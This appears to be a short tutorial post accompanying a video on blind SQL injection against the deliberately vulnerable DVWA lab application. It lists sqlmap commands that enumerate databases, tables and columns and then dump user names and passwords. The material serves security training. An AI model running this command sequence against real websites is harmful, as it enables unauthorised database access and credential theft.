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Here is a video showing you how to perform and Blind SQL injection the vulnerable application is called DVWA and can be downloaded from the following address: http://www.dvwa.co.uk/
The commands I have used can be found below this video
sqlmap -u "http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=dd8c23ee1a95da5a6ac506fef79e2b6c" sqlmap -u "http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=dd8c23ee1a95da5a6ac506fef79e2b6c" --dbs sqlmap -u "http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=dd8c23ee1a95da5a6ac506fef79e2b6c" -D dvwa --tables sqlmap -u "http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=dd8c23ee1a95da5a6ac506fef79e2b6c" -T users --column sqlmap -u "http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=dd8c23ee1a95da5a6ac506fef79e2b6c" -C user,password --dump